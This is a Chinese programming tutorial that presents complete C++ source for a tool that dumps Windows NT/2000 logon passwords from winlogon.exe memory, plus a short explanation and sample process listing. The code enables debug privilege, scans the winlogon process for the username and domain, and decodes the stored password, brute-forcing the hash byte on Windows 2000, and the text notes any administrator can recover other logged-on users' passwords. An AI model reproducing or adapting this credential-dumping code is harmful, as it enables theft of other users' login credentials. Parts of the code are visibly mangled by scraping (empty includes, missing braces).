VisualC++信息安全编程(5)获取windows登陆账户密码

indows Logon Process,Windows NT 用户登陆程序,管理用户登录和退出。

因为登陆的域名和用户名是明文存储在winlogon进程里的,而Password是限定了查找本进程用户的密码
<167-174:    GetEnvironmentVariableW(L"USERNAME", UserName, 0x400); 
    GetEnvironmentVariableW (L"USERDOMAIN", UserDomain, 0x400); 
>,然后到winlogon进程的空间中查找UserDomain和UserName < 590:// 在WinLogon的内存空间中寻找UserName和DomainName的字符串 
if ((wcscmp ((wchar_t *) RealStartingAddressP, UserName) == 0) 
&& 
(wcscmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0)) 
> ,找到后就查后边的加密口令。

其实只要你自己指定用户名和winlogon进程去查找就行了,只要你是管理员,任何本机用msgina.dll图形登陆的用户口令都可以找到。

1. pulist,找到系统里登陆的域名和用户名,及winlogon进程id 
2. 然后给每个winlogon进程id查找指定的用户就行了。

example:

C:\Documents and Settings\bingle>pulist 
Process           PID  User 
Idle              0 
System            8 
smss.exe          164  NT AUTHORITY\SYSTEM 
csrss.exe         192  NT AUTHORITY\SYSTEM 
winlogon.exe      188  NT AUTHORITY\SYSTEM 
wins.exe          1212 NT AUTHORITY\SYSTEM 
Explorer.exe      388  TEST-2KSERVER\Administrator 
internat.exe      1828 TEST-2KSERVER\Administrator 
conime.exe        1868 TEST-2KSERVER\Administrator 
msiexec.exe       1904 NT AUTHORITY\SYSTEM 
tlntsvr.exe       1048 NT AUTHORITY\SYSTEM 
taskmgr.exe       1752 TEST-2KSERVER\Administrator 
csrss.exe         2056 NT AUTHORITY\SYSTEM 
winlogon.exe      2416 NT AUTHORITY\SYSTEM 
rdpclip.exe       2448 TEST-2KSERVER\clovea 
Explorer.exe      2408 TEST-2KSERVER\clovea 
internat.exe      1480 TEST-2KSERVER\clovea 
cmd.exe           2508 TEST-2KSERVER\Administrator 
ntshell.exe       368  TEST-2KSERVER\Administrator 
ntshell.exe       1548 TEST-2KSERVER\Administrator 
ntshell.exe       1504 TEST-2KSERVER\Administrator 
csrss.exe         1088 NT AUTHORITY\SYSTEM 
winlogon.exe      1876 NT AUTHORITY\SYSTEM 
rdpclip.exe       1680 TEST-2KSERVER\bingle 
Explorer.exe      2244 TEST-2KSERVER\bingle 
conime.exe        2288 TEST-2KSERVER\bingle 
internat.exe      1592 TEST-2KSERVER\bingle 
cmd.exe           1692 TEST-2KSERVER\bingle 
mdm.exe           2476 TEST-2KSERVER\bingle 
taskmgr.exe       752  TEST-2KSERVER\bingle 
pulist.exe        2532 TEST-2KSERVER\bingle

 

 

 

具体实现代码如下

 

 

[cpp]  view plain copy
  1. #include    
  2. #include    
  3. #include    
  4. #include    
  5.   
  6. typedef struct _UNICODE_STRING   
  7. {   
  8.     USHORT Length;   
  9.     USHORT MaximumLength;   
  10.     PWSTR Buffer;   
  11. } UNICODE_STRING, *PUNICODE_STRING;   
  12.   
  13. // Undocumented typedef's   
  14. typedef struct _QUERY_SYSTEM_INFORMATION   
  15. {   
  16.     DWORD GrantedAccess;   
  17.     DWORD PID;   
  18.     WORD HandleType;   
  19.     WORD HandleId;   
  20.     DWORD Handle;   
  21. } QUERY_SYSTEM_INFORMATION, *PQUERY_SYSTEM_INFORMATION;   
  22. typedef struct _PROCESS_INFO_HEADER   
  23. {   
  24.     DWORD Count;   
  25.     DWORD Unk04;   
  26.     DWORD Unk08;   
  27. } PROCESS_INFO_HEADER, *PPROCESS_INFO_HEADER;   
  28. typedef struct _PROCESS_INFO   
  29. {   
  30.     DWORD LoadAddress;   
  31.     DWORD Size;   
  32.     DWORD Unk08;   
  33.     DWORD Enumerator;   
  34.     DWORD Unk10;   
  35.     char Name [0x108];   
  36. } PROCESS_INFO, *PPROCESS_INFO;   
  37. typedef struct _ENCODED_PASSWORD_INFO   
  38. {   
  39.     DWORD HashByte;   
  40.     DWORD Unk04;   
  41.     DWORD Unk08;   
  42.     DWORD Unk0C;   
  43.     FILETIME LoggedOn;   
  44.     DWORD Unk18;   
  45.     DWORD Unk1C;   
  46.     DWORD Unk20;   
  47.     DWORD Unk24;   
  48.     DWORD Unk28;   
  49.     UNICODE_STRING EncodedPassword;   
  50. } ENCODED_PASSWORD_INFO, *PENCODED_PASSWORD_INFO;   
  51.   
  52. typedef DWORD (__stdcall *PFNNTQUERYSYSTEMINFORMATION)  (DWORDPVOIDDWORD, PDWORD);   
  53. typedef PVOID (__stdcall *PFNRTLCREATEQUERYDEBUGBUFFER) (DWORDDWORD);   
  54. typedef DWORD (__stdcall *PFNRTLQUERYPROCESSDEBUGINFORMATION) (DWORDDWORDPVOID);   
  55. typedef void (__stdcall *PFNRTLDESTROYQUERYDEBUGBUFFER) (PVOID);   
  56. typedef void (__stdcall *PFNTRTLRUNDECODEUNICODESTRING)  (BYTE, PUNICODE_STRING);   
  57.   
  58. // Private Prototypes   
  59. BOOL IsWinNT (void);   
  60. BOOL IsWin2K (void);   
  61. BOOL AddDebugPrivilege (void);   
  62. DWORD FindWinLogon (void);   
  63. BOOL LocatePasswordPageWinNT (DWORD, PDWORD);   
  64. BOOL LocatePasswordPageWin2K (DWORD, PDWORD);   
  65. void DisplayPasswordWinNT (void);   
  66. void DisplayPasswordWin2K (void);   
  67.   
  68. // Global Variables   
  69. PFNNTQUERYSYSTEMINFORMATION pfnNtQuerySystemInformation;   
  70. PFNRTLCREATEQUERYDEBUGBUFFER pfnRtlCreateQueryDebugBuffer;   
  71. PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation;   
  72. PFNRTLDESTROYQUERYDEBUGBUFFER pfnRtlDestroyQueryDebugBuffer;   
  73. PFNTRTLRUNDECODEUNICODESTRING pfnRtlRunDecodeUnicodeString;   
  74.   
  75. DWORD PasswordLength = 0;   
  76. PVOID RealPasswordP = NULL;   
  77. PVOID PasswordP = NULL;   
  78. DWORD HashByte = 0;  
  79. wchar_t UserName [0x400];   
  80. wchar_t UserDomain [0x400];   
  81.   
  82. int __cdecl main( int argc, char* argv[] )   
  83. {   
  84.     printf( "\n\t To Find Password in the Winlogon process\n" );  
  85.     printf( " Usage: %s DomainName UserName PID-of-WinLogon\n\n", argv[0] );   
  86.   
  87.     if ((!IsWinNT ())   
  88.             &&   
  89.         (!IsWin2K ()))   
  90.     {   
  91.         printf ("Windows NT or Windows 2000 are required.\n");   
  92.         return (0);   
  93.     }   
  94.   
  95.     // Add debug privilege to PasswordReminder -   
  96.     // this is needed for the search for Winlogon.   
  97.     // 增加PasswordReminder的权限   
  98.     // 使得PasswordReminder可以打开并调试Winlogon进程   
  99.     if (!AddDebugPrivilege ())   
  100.     {   
  101.         printf   
  102.             ("Unable to add debug privilege.\n");   
  103.         return (0);   
  104.     }   
  105.     printf ("The debug privilege has been added to PasswordReminder.\n");   
  106.   
  107.     // 获得几个未公开API的入口地址   
  108.     HINSTANCE hNtDll =   
  109.         LoadLibrary   
  110.             ("NTDLL.DLL");   
  111.     pfnNtQuerySystemInformation =   
  112.         (PFNNTQUERYSYSTEMINFORMATION) GetProcAddress   
  113.             (hNtDll,   
  114.             "NtQuerySystemInformation");   
  115.     pfnRtlCreateQueryDebugBuffer =   
  116.         (PFNRTLCREATEQUERYDEBUGBUFFER) GetProcAddress   
  117.             (hNtDll,   
  118.             "RtlCreateQueryDebugBuffer");   
  119.     pfnRtlQueryProcessDebugInformation =   
  120.         (PFNRTLQUERYPROCESSDEBUGINFORMATION) GetProcAddress   
  121.             (hNtDll,   
  122.             "RtlQueryProcessDebugInformation");   
  123.     pfnRtlDestroyQueryDebugBuffer =   
  124.         (PFNRTLDESTROYQUERYDEBUGBUFFER) GetProcAddress   
  125.             (hNtDll,   
  126.             "RtlDestroyQueryDebugBuffer");   
  127.     pfnRtlRunDecodeUnicodeString =   
  128.         (PFNTRTLRUNDECODEUNICODESTRING) GetProcAddress   
  129.             (hNtDll,   
  130.             "RtlRunDecodeUnicodeString");   
  131.   
  132.     // Locate WinLogon's PID - need debug privilege and admin rights.   
  133.     // 获得Winlogon进程的PID   
  134.     // 这里作者使用了几个Native API,其实使用PSAPI一样可以   
  135.     DWORD WinLogonPID =   
  136.         argc > 3 ? atoi( argv[3] ) : FindWinLogon () ;   
  137.     if (WinLogonPID == 0)   
  138.     {   
  139.         printf   
  140.             ("PasswordReminder is unable to find WinLogon or you are using NWGINA.DLL.\n");   
  141.         printf   
  142.             ("PasswordReminder is unable to find the password in memory.\n");   
  143.         FreeLibrary (hNtDll);   
  144.         return (0);   
  145.     }   
  146.   
  147.     printf("The WinLogon process id is %d (0x%8.8lx).\n",   
  148.             WinLogonPID, WinLogonPID);   
  149.   
  150.     // Set values to check memory block against.   
  151.     // 初始化几个和用户账号相关的变量   
  152.     memset(UserName, 0, sizeof (UserName));   
  153.     memset(UserDomain, 0, sizeof (UserDomain));   
  154.     if( argc > 2 )  
  155.     {     
  156.         mbstowcs( UserName, argv[2], sizeof(UserName)/sizeof(*UserName) );  
  157.         mbstowcs( UserDomain, argv[1], sizeof(UserDomain)/sizeof(*UserDomain) );  
  158.     }else  
  159.     {  
  160.         GetEnvironmentVariableW(L"USERNAME", UserName, 0x400);   
  161.         GetEnvironmentVariableW(L"USERDOMAIN", UserDomain, 0x400);   
  162.     }  
  163.     printf( " To find %S\\%S password in process %d ...\n", UserDomain, UserName, WinLogonPID );  
  164.   
  165.     // Locate the block of memory containing   
  166.     // the password in WinLogon's memory space.   
  167.     // 在Winlogon进程中定位包含Password的内存块   
  168.     BOOL FoundPasswordPage = FALSE;   
  169.     if (IsWin2K ())   
  170.         FoundPasswordPage =   
  171.             LocatePasswordPageWin2K   
  172.                 (WinLogonPID,   
  173.                 &PasswordLength);   
  174.     else   
  175.         FoundPasswordPage =   
  176.             LocatePasswordPageWinNT   
  177.                 (WinLogonPID,   
  178.                 &PasswordLength);   
  179.   
  180.     if (FoundPasswordPage)   
  181.     {   
  182.         if (PasswordLength == 0)   
  183.         {   
  184.             printf   
  185.                 ("The logon information is: %S/%S.\n",   
  186.                 UserDomain,   
  187.                 UserName);   
  188.             printf   
  189.                 ("There is no password.\n");   
  190.         }   
  191.         else   
  192.         {   
  193.             printf   
  194.                 ("The encoded password is found at 0x%8.8lx and has a length of %d.\n",   
  195.                 RealPasswordP,   
  196.                 PasswordLength);   
  197.             // Decode the password string.   
  198.             if (IsWin2K ())   
  199.                 DisplayPasswordWin2K ();   
  200.             else   
  201.                 DisplayPasswordWinNT ();   
  202.         }   
  203.     }   
  204.     else   
  205.         printf   
  206.             ("PasswordReminder is unable to find the password in memory.\n");   
  207.   
  208.     FreeLibrary   
  209.         (hNtDll);   
  210.     return (0);   
  211. // main   
  212.   
  213. //   
  214. // IsWinNT函数用来判断操作系统是否WINNT   
  215. //   
  216. BOOL   
  217.     IsWinNT   
  218.         (void)   
  219. {   
  220.     OSVERSIONINFO OSVersionInfo;   
  221.     OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);   
  222.     if (GetVersionEx   
  223.             (&OSVersionInfo))   
  224.         return (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT);   
  225.     else   
  226.         return (FALSE);   
  227. // IsWinNT   
  228.   
  229.   
  230. //   
  231. // IsWin2K函数用来判断操作系统是否Win2K   
  232. //   
  233. BOOL   
  234.     IsWin2K   
  235.         (void)   
  236. {   
  237.     OSVERSIONINFO OSVersionInfo;   
  238.     OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);   
  239.     if (GetVersionEx   
  240.             (&OSVersionInfo))   
  241.         return ((OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT)   
  242.                     &&   
  243.                 (OSVersionInfo.dwMajorVersion == 5));   
  244.     else   
  245.         return (FALSE);   
  246. // IsWin2K   
  247.   
  248.   
  249. //   
  250. // AddDebugPrivilege函数用来申请调试Winlogon进程的特权   
  251. //   
  252. BOOL   
  253.     AddDebugPrivilege   
  254.         (void)   
  255. {   
  256.     HANDLE Token;   
  257.     TOKEN_PRIVILEGES TokenPrivileges, PreviousState;   
  258.     DWORD ReturnLength = 0;   
  259.     if (OpenProcessToken   
  260.             (GetCurrentProcess (),   
  261.             TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES,   
  262.             &Token))   
  263.         if (LookupPrivilegeValue   
  264.                 (NULL,   
  265.                 "SeDebugPrivilege",   
  266.                 &TokenPrivileges.Privileges[0].Luid))   
  267.         {   
  268.             TokenPrivileges.PrivilegeCount = 1;   
  269.             TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;   
  270.             return   
  271.                 (AdjustTokenPrivileges   
  272.                     (Token,   
  273.                     FALSE,   
  274.                     &TokenPrivileges,   
  275.                     sizeof (TOKEN_PRIVILEGES),   
  276.                     &PreviousState,   
  277.                     &ReturnLength));   
  278.         }   
  279.     return (FALSE);   
  280. // AddDebugPrivilege   
  281.   
  282.   
  283. //   
  284. // Note that the following code eliminates the need   
  285. // for PSAPI.DLL as part of the executable.   
  286. // FindWinLogon函数用来寻找WinLogon进程   
  287. // 由于作者使用的是Native API,因此不需要PSAPI的支持   
  288. //   
  289. DWORD   
  290.     FindWinLogon   
  291.         (void)   
  292. {   
  293. #define INITIAL_ALLOCATION 0x100   
  294.     DWORD rc = 0;   
  295.     DWORD SizeNeeded = 0;   
  296.     PVOID InfoP =   
  297.         HeapAlloc   
  298.             (GetProcessHeap (),   
  299.             HEAP_ZERO_MEMORY,   
  300.             INITIAL_ALLOCATION);   
  301.     // Find how much memory is required.   
  302.     pfnNtQuerySystemInformation   
  303.         (0x10,   
  304.         InfoP,   
  305.         INITIAL_ALLOCATION,   
  306.         &SizeNeeded);   
  307.     HeapFree   
  308.         (GetProcessHeap (),   
  309.         0,   
  310.         InfoP);   
  311.     // Now, allocate the proper amount of memory.   
  312.     InfoP =   
  313.         HeapAlloc   
  314.             (GetProcessHeap (),   
  315.             HEAP_ZERO_MEMORY,   
  316.             SizeNeeded);   
  317.     DWORD SizeWritten = SizeNeeded;   
  318.     if (pfnNtQuerySystemInformation   
  319.             (0x10,   
  320.             InfoP,   
  321.             SizeNeeded,   
  322.             &SizeWritten))   
  323.     {   
  324.         HeapFree   
  325.             (GetProcessHeap (),   
  326.             0,   
  327.             InfoP);   
  328.         return (0);   
  329.     }   
  330.     DWORD NumHandles = SizeWritten / sizeof (QUERY_SYSTEM_INFORMATION);   
  331.     if (NumHandles == 0)   
  332.     {   
  333.         HeapFree   
  334.             (GetProcessHeap (),   
  335.             0,   
  336.             InfoP);   
  337.         return (0);   
  338.     }   
  339.     PQUERY_SYSTEM_INFORMATION QuerySystemInformationP =   
  340.         (PQUERY_SYSTEM_INFORMATION) InfoP;   
  341.     DWORD i;   
  342.     for (i = 1; i <= NumHandles; i++)   
  343.     {   
  344.         // "5" is the value of a kernel object type process.   
  345.         if (QuerySystemInformationP->HandleType == 5)   
  346.         {   
  347.             PVOID DebugBufferP =   
  348.                 pfnRtlCreateQueryDebugBuffer   
  349.                     (0,   
  350.                     0);   
  351.             if (pfnRtlQueryProcessDebugInformation   
  352.                     (QuerySystemInformationP->PID,   
  353.                     1,   
  354.                     DebugBufferP) == 0)   
  355.             {   
  356.                 PPROCESS_INFO_HEADER ProcessInfoHeaderP =   
  357.                     (PPROCESS_INFO_HEADER) ((DWORD) DebugBufferP + 0x60);   
  358.                 DWORD Count =   
  359.                     ProcessInfoHeaderP->Count;   
  360.                 PPROCESS_INFO ProcessInfoP =   
  361.                     (PPROCESS_INFO) ((DWORD) ProcessInfoHeaderP + sizeof (PROCESS_INFO_HEADER));   
  362.                 if (strstr (_strupr (ProcessInfoP->Name), "WINLOGON") != 0)   
  363.                 {   
  364.                     DWORD i;   
  365.                     DWORD dw = (DWORD) ProcessInfoP;   
  366.                     for (i = 0; i < Count; i++)   
  367.                     {   
  368.                         dw += sizeof (PROCESS_INFO);   
  369.                         ProcessInfoP = (PPROCESS_INFO) dw;   
  370.                         if (strstr (_strupr (ProcessInfoP->Name), "NWGINA") != 0)   
  371.                             return (0);   
  372.                         if (strstr (_strupr (ProcessInfoP->Name), "MSGINA") == 0)   
  373.                             rc =   
  374.                                 QuerySystemInformationP->PID;   
  375.                     }   
  376.                     if (DebugBufferP)   
  377.                         pfnRtlDestroyQueryDebugBuffer   
  378.                             (DebugBufferP);   
  379.                     HeapFree   
  380.                         (GetProcessHeap (),   
  381.                         0,   
  382.                         InfoP);   
  383.                     return (rc);   
  384.                 }   
  385.             }   
  386.             if (DebugBufferP)   
  387.                 pfnRtlDestroyQueryDebugBuffer   
  388.                     (DebugBufferP);   
  389.         }   
  390.         DWORD dw = (DWORD) QuerySystemInformationP;   
  391.         dw += sizeof (QUERY_SYSTEM_INFORMATION);   
  392.         QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION) dw;   
  393.     }   
  394.     HeapFree   
  395.         (GetProcessHeap (),   
  396.         0,   
  397.         InfoP);   
  398.     return (rc);   
  399. // FindWinLogon   
  400.   
  401. //   
  402. // LocatePasswordPageWinNT函数用来在NT中找到用户密码   
  403. //   
  404. BOOL   
  405.     LocatePasswordPageWinNT   
  406.         (DWORD WinLogonPID,   
  407.         PDWORD PasswordLength)   
  408. {   
  409. #define USER_DOMAIN_OFFSET_WINNT    0x200   
  410. #define USER_PASSWORD_OFFSET_WINNT    0x400   
  411.     BOOL rc = FALSE;   
  412.     HANDLE WinLogonHandle =   
  413.         OpenProcess   
  414.             (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,   
  415.             FALSE,   
  416.             WinLogonPID);   
  417.     if (WinLogonHandle == 0)   
  418.         return (rc);   
  419.     *PasswordLength = 0;   
  420.     SYSTEM_INFO SystemInfo;   
  421.     GetSystemInfo   
  422.         (&SystemInfo);   
  423.     DWORD PEB = 0x7ffdf000;   
  424.     DWORD BytesCopied = 0;   
  425.     PVOID PEBP =   
  426.         HeapAlloc   
  427.             (GetProcessHeap (),   
  428.             HEAP_ZERO_MEMORY,   
  429.             SystemInfo.dwPageSize);   
  430.     if (!ReadProcessMemory   
  431.             (WinLogonHandle,   
  432.             (PVOID) PEB,   
  433.             PEBP,   
  434.             SystemInfo.dwPageSize,   
  435.             &BytesCopied))   
  436.     {   
  437.         CloseHandle   
  438.             (WinLogonHandle);   
  439.         return (rc);   
  440.     }   
  441.     // Grab the value of the 2nd DWORD in the TEB.   
  442.     PDWORD WinLogonHeap = (PDWORD) ((DWORD) PEBP + (6 * sizeof (DWORD)));   
  443.     MEMORY_BASIC_INFORMATION MemoryBasicInformation;   
  444.     if (VirtualQueryEx   
  445.             (WinLogonHandle,   
  446.             (PVOID) *WinLogonHeap,   
  447.             &MemoryBasicInformation,   
  448.             sizeof (MEMORY_BASIC_INFORMATION)))   
  449.         if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT)   
  450.                 &&   
  451.             ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0))   
  452.         {   
  453.             PVOID WinLogonMemP =   
  454.                 HeapAlloc   
  455.                     (GetProcessHeap (),   
  456.                     HEAP_ZERO_MEMORY,   
  457.                     MemoryBasicInformation.RegionSize);   
  458.             if (ReadProcessMemory   
  459.                     (WinLogonHandle,   
  460.                     (PVOID) *WinLogonHeap,   
  461.                     WinLogonMemP,   
  462.                     MemoryBasicInformation.RegionSize,   
  463.                     &BytesCopied))   
  464.             {   
  465.                 DWORD i = (DWORD) WinLogonMemP;   
  466.                 DWORD UserNamePos = 0;   
  467.                 // The order in memory is UserName followed by the UserDomain.   
  468.                 // 在内存中搜索UserName和UserDomain字符串   
  469.                 do   
  470.                 {   
  471.                     if ((wcsicmp (UserName, (wchar_t *) i) == 0)   
  472.                             &&   
  473.                         (wcsicmp (UserDomain, (wchar_t *) (i + USER_DOMAIN_OFFSET_WINNT)) == 0))   
  474.                     {   
  475.                         UserNamePos = i;   
  476.                         break;   
  477.                     }   
  478.                     i += 2;   
  479.                 } while (i < (DWORD) WinLogonMemP + MemoryBasicInformation.RegionSize);   
  480.                 if (UserNamePos)   
  481.                 {   
  482.                     PENCODED_PASSWORD_INFO EncodedPasswordInfoP =   
  483.                         (PENCODED_PASSWORD_INFO)   
  484.                             ((DWORD) UserNamePos + USER_PASSWORD_OFFSET_WINNT);   
  485.                     FILETIME LocalFileTime;   
  486.                     SYSTEMTIME SystemTime;   
  487.                     if (FileTimeToLocalFileTime   
  488.                         (&EncodedPasswordInfoP->LoggedOn,   
  489.                         &LocalFileTime))   
  490.                         if (FileTimeToSystemTime   
  491.                             (&LocalFileTime,   
  492.                             &SystemTime))   
  493.                             printf   
  494.                                 ("You logged on at %d/%d/%d %d:%d:%d\n",   
  495.                                 SystemTime.wMonth,   
  496.                                 SystemTime.wDay,   
  497.                                 SystemTime.wYear,   
  498.                                 SystemTime.wHour,   
  499.                                 SystemTime.wMinute,   
  500.                                 SystemTime.wSecond);   
  501.                     *PasswordLength =   
  502.                         (EncodedPasswordInfoP->EncodedPassword.Length & 0x00ff) / sizeof (wchar_t);   
  503.                     // NT就是好,hash-byte直接放在编码中:)   
  504.                     HashByte =   
  505.                         (EncodedPasswordInfoP->EncodedPassword.Length & 0xff00) >> 8;   
  506.                     RealPasswordP =   
  507.                         (PVOID) (*WinLogonHeap +   
  508.                             (UserNamePos - (DWORD) WinLogonMemP) +   
  509.                             USER_PASSWORD_OFFSET_WINNT + 0x34);   
  510.                     PasswordP =   
  511.                         (PVOID) ((PBYTE) (UserNamePos +     
  512.                             USER_PASSWORD_OFFSET_WINNT + 0x34));   
  513.                     rc = TRUE;   
  514.                 }   
  515.             }   
  516.         }   
  517.   
  518.     HeapFree   
  519.         (GetProcessHeap (),   
  520.         0,   
  521.         PEBP);   
  522.     CloseHandle   
  523.         (WinLogonHandle);   
  524.     return (rc);   
  525. // LocatePasswordPageWinNT   
  526.   
  527.   
  528. //   
  529. // LocatePasswordPageWin2K函数用来在Win2K中找到用户密码   
  530. //   
  531. BOOL   
  532.     LocatePasswordPageWin2K   
  533.         (DWORD WinLogonPID,   
  534.         PDWORD PasswordLength)   
  535. {   
  536. #define USER_DOMAIN_OFFSET_WIN2K    0x400   
  537. #define USER_PASSWORD_OFFSET_WIN2K    0x800   
  538.     HANDLE WinLogonHandle =   
  539.         OpenProcess   
  540.             (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,   
  541.             FALSE,   
  542.             WinLogonPID);   
  543.     if (WinLogonHandle == 0)   
  544.         return (FALSE);   
  545.     *PasswordLength = 0;   
  546.     SYSTEM_INFO SystemInfo;   
  547.     GetSystemInfo   
  548.         (&SystemInfo);   
  549.     DWORD i = (DWORD) SystemInfo.lpMinimumApplicationAddress;   
  550.     DWORD MaxMemory = (DWORD) SystemInfo.lpMaximumApplicationAddress;   
  551.     DWORD Increment = SystemInfo.dwPageSize;   
  552.     MEMORY_BASIC_INFORMATION MemoryBasicInformation;   
  553.     while (i < MaxMemory)   
  554.     {   
  555.         if (VirtualQueryEx   
  556.                 (WinLogonHandle,   
  557.                 (PVOID) i,   
  558.                 &MemoryBasicInformation,   
  559.                 sizeof (MEMORY_BASIC_INFORMATION)))   
  560.         {   
  561.             Increment = MemoryBasicInformation.RegionSize;   
  562.             if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT)   
  563.                     &&   
  564.                 ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0))   
  565.             {   
  566.                 PVOID RealStartingAddressP =   
  567.                     HeapAlloc   
  568.                         (GetProcessHeap (),   
  569.                         HEAP_ZERO_MEMORY,   
  570.                         MemoryBasicInformation.RegionSize);   
  571.                 DWORD BytesCopied = 0;   
  572.                 if (ReadProcessMemory   
  573.                         (WinLogonHandle,   
  574.                         (PVOID) i,   
  575.                         RealStartingAddressP,   
  576.                         MemoryBasicInformation.RegionSize,   
  577.                         &BytesCopied))   
  578.                 {   
  579.                     // 在WinLogon的内存空间中寻找UserName和DomainName的字符串   
  580.                     if ((wcsicmp ((wchar_t *) RealStartingAddressP, UserName) == 0)   
  581.                             &&   
  582.                         (wcsicmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0))   
  583.                     {   
  584.                         RealPasswordP = (PVOID) (i + USER_PASSWORD_OFFSET_WIN2K);   
  585.                         PasswordP = (PVOID) ((DWORD) RealStartingAddressP + USER_PASSWORD_OFFSET_WIN2K);   
  586.                         // Calculate the length of encoded unicode string.   
  587.                         // 计算出密文的长度   
  588.                         PBYTE p = (PBYTE) PasswordP;   
  589.                         DWORD Loc = (DWORD) p;   
  590.                         DWORD Len = 0;   
  591.                         if ((*p == 0)   
  592.                                 &&   
  593.                             (* (PBYTE) ((DWORD) p + 1) == 0))   
  594.                             ;   
  595.                         else   
  596.                             do   
  597.                             {   
  598.                                 Len++;   
  599.                                 Loc += 2;   
  600.                                 p = (PBYTE) Loc;   
  601.                             } while   
  602.                                 (*p != 0);   
  603.                         *PasswordLength = Len;   
  604.                         CloseHandle   
  605.                             (WinLogonHandle);   
  606.                         return (TRUE);   
  607.                     }   
  608.                 }   
  609.                 HeapFree   
  610.                     (GetProcessHeap (),   
  611.                     0,   
  612.                     RealStartingAddressP);   
  613.             }   
  614.         }   
  615.         else   
  616.             Increment = SystemInfo.dwPageSize;   
  617.         // Move to next memory block.   
  618.         i += Increment;   
  619.     }   
  620.     CloseHandle   
  621.         (WinLogonHandle);   
  622.     return (FALSE);   
  623. // LocatePasswordPageWin2K   
  624.   
  625.   
  626. //   
  627. // DisplayPasswordWinNT函数用来在NT中解码用户密码   
  628. //   
  629. void   
  630.     DisplayPasswordWinNT   
  631.         (void)   
  632. {   
  633.     UNICODE_STRING EncodedString;   
  634.     EncodedString.Length =   
  635.         (WORD) PasswordLength * sizeof (wchar_t);   
  636.     EncodedString.MaximumLength =   
  637.         ((WORD) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t);   
  638.     EncodedString.Buffer =   
  639.         (PWSTR) HeapAlloc   
  640.             (GetProcessHeap (),   
  641.             HEAP_ZERO_MEMORY,   
  642.             EncodedString.MaximumLength);   
  643.     CopyMemory   
  644.         (EncodedString.Buffer,   
  645.         PasswordP,   
  646.         PasswordLength * sizeof (wchar_t));   
  647.     // Finally - decode the password.   
  648.     // Note that only one call is required since the hash-byte   
  649.     // was part of the orginally encoded string.   
  650.     // 在NT中,hash-byte是包含在编码中的   
  651.     // 因此只需要直接调用函数解码就可以了   
  652.     pfnRtlRunDecodeUnicodeString   
  653.         ((BYTE) HashByte,   
  654.         &EncodedString);   
  655.     printf   
  656.         ("The logon information is: %S/%S/%S.\n",   
  657.         UserDomain,   
  658.         UserName,   
  659.         EncodedString.Buffer);   
  660.     printf   
  661.         ("The hash byte is: 0x%2.2x.\n",   
  662.         HashByte);   
  663.     HeapFree   
  664.         (GetProcessHeap (),   
  665.         0,   
  666.         EncodedString.Buffer);   
  667. // DisplayPasswordWinNT   
  668.   
  669. //   
  670. // DisplayPasswordWin2K函数用来在Win2K中解码用户密码   
  671. //   
  672. void   
  673.     DisplayPasswordWin2K   
  674.         (void)   
  675. {   
  676.     DWORD i, Hash = 0;   
  677.     UNICODE_STRING EncodedString;   
  678.     EncodedString.Length =   
  679.         (USHORT) PasswordLength * sizeof (wchar_t);   
  680.     EncodedString.MaximumLength =   
  681.         ((USHORT) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t);   
  682.     EncodedString.Buffer =   
  683.         (PWSTR) HeapAlloc   
  684.             (GetProcessHeap (),   
  685.             HEAP_ZERO_MEMORY,   
  686.             EncodedString.MaximumLength);   
  687.     // This is a brute force technique since the hash-byte   
  688.     // is not stored as part of the encoded string - :>(.   
  689.     // 因为在Win2K中hash-byte并不存放在编码中   
  690.     // 所以在这里进行的是暴力破解   
  691.     // 下面的循环中i就是hash-byte   
  692.     // 我们将i从0x00到0xff分别对密文进行解密   
  693.     // 如果有一个hash-byte使得所有密码都是可见字符,就认为是有效的   
  694.     // 这个算法实际上是从概率角度来解码的   
  695.     // 因为如果hash-byte不对而解密出来的密码都是可见字符的概率非常小   
  696.     for (i = 0; i <= 0xff; i++)   
  697.     {   
  698.         CopyMemory   
  699.             (EncodedString.Buffer,   
  700.             PasswordP,   
  701.             PasswordLength * sizeof (wchar_t));   
  702.         // Finally - try to decode the password.   
  703.         // 使用i作为hash-byte对密文进行解码   
  704.         pfnRtlRunDecodeUnicodeString   
  705.             ((BYTE) i,   
  706.             &EncodedString);   
  707.         // Check for a viewable password.   
  708.         // 检查解码出的密码是否完全由可见字符组成   
  709.         // 如果是则认为是正确的解码   
  710.         PBYTE p = (PBYTE) EncodedString.Buffer;   
  711.         BOOL Viewable = TRUE;   
  712.         DWORD j, k;   
  713.         for (j = 0; (j < PasswordLength) && Viewable; j++)   
  714.         {   
  715.             if ((*p)   
  716.                     &&   
  717.                 (* (PBYTE)(DWORD (p) + 1) == 0))   
  718.             {   
  719.                 if (*p < 0x20)   
  720.                     Viewable = FALSE;   
  721.                 if (*p > 0x7e)   
  722.                     Viewable = FALSE;   
  723.                 //0x20是空格,0X7E是~,所有密码允许使用的可见字符都包括在里面了   
  724.             }   
  725.             else   
  726.                 Viewable = FALSE;   
  727.             k = DWORD (p);   
  728.             k++; k++;   
  729.             p = (PBYTE) k;   
  730.         }   
  731.         if (Viewable)   
  732.         {   
  733.             printf   
  734.                 ("The logon information is: %S/%S/%S.\n",   
  735.                 UserDomain,   
  736.                 UserName,   
  737.                 EncodedString.Buffer);   
  738.             printf   
  739.                 ("The hash byte is: 0x%2.2x.\n",   
  740.                 i);   
  741.         }   
  742.     }   
  743.     HeapFree   
  744.         (GetProcessHeap (),   
  745.         0,   
  746.         EncodedString.Buffer);   
  747. }  

